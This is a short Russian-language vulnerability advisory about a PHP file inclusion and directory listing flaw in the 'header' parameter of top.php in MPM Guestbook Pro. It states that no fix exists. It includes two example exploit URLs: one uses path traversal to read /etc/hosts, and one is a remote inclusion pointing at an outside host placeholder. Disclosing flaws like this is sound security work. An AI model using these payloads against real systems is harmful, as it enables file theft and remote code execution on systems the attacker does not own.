php-инклюдинг и листинг директорий в MPM Guesbook Pro

Описание:
Уязвимость позволяет удаленному пользователю просмотреть файлы и выполнить произвольный php сценарий на уязвимой системе.

Уязвимость существует в сценарии top.php при обработке данных в параметре header. Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе и выполнить произвольный php сценарий. Примеры:

/gbpro/top.php?header=../../../../../../../etc/hosts
/gbpro/top.php?header=http://[CMD]

URL производителя: http://mpm.pahviloota.net

Решение: Способов устранения уязвимости не существует в настоящее время.